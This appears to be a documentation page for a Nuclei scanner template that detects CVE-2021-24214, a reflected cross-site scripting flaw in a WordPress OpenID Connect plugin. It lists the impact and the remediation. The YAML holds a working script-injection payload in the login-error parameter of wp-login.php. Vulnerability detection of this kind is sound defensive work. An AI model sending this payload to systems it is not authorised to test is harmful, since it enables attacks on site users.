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WordPress OpenID Connect Generic Client 3.8.0-3.8.1 - Cross-Site Scripting

ID: CVE-2021-24214

Severity: medium

Author: tess

Tags: cve2021,cve,wpscan,wordpress,xss,wp-plugin,wp,openid,daggerhartlab

Description

Section titled “Description”

WordPress OpenID Connect Generic Client plugin 3.8.0 and 3.8.1 contains a cross-site scripting vulnerability. It does not sanitize the login error when output back in the login form, thereby not requiring authentication, which can be exploited with the default configuration.

YAML Source

Section titled “YAML Source”
id: CVE-2021-24214


info:
  name: WordPress OpenID Connect Generic Client 3.8.0-3.8.1 - Cross-Site Scripting
  author: tess
  severity: medium
  description: WordPress OpenID Connect Generic Client plugin 3.8.0 and 3.8.1 contains a cross-site scripting vulnerability. It does not sanitize the login error when output back in the login form, thereby not requiring authentication, which can be exploited with the default configuration.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to the latest version of the WordPress OpenID Connect Generic Client plugin (3.8.2) to fix this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/31cf0dfb-4025-4898-a5f4-fc7115565a10
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24214
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24214
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24214
    cwe-id: CWE-79
    epss-score: 0.00337
    epss-percentile: 0.71271
    cpe: cpe:2.3:a:daggerhartlab:openid_connect_generic_client:3.8.0:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: daggerhartlab
    product: "openid_connect_generic_client"
    framework: wordpress
  tags: cve2021,cve,wpscan,wordpress,xss,wp-plugin,wp,openid,daggerhartlab
flow: http(1) && http(2)


http:
  - raw:
      - |
        GET /wp-content/plugins/daggerhart-openid-connect-generic/readme.txt HTTP/1.1
        Host: {{Hostname}}


    matchers:
      - type: word
        internal: true
        words:
          - 'OpenID Connect Generic Client'


  - method: GET
    path:
      - '{{BaseURL}}/wp-login.php?login-error=<script>alert(document.domain)</script>'


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'ERROR (<script>alert(document.domain)</script>):'
          - 'Login with OpenID Connect'
        condition: and


      - type: word
        part: header
        words:
          - text/html


      - type: status
        status:
          - 200
# digest: 4a0a00473045022100d5dabd74ee3001e95fe2bc1bb7f6fa3ddc73c2a6e4c29fe69764382ce827431302200d86a5bbb9f8a78b29ea18b765249d48063f24a6f8c1ac6d6f80794ad6268de2:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-24214.yaml"

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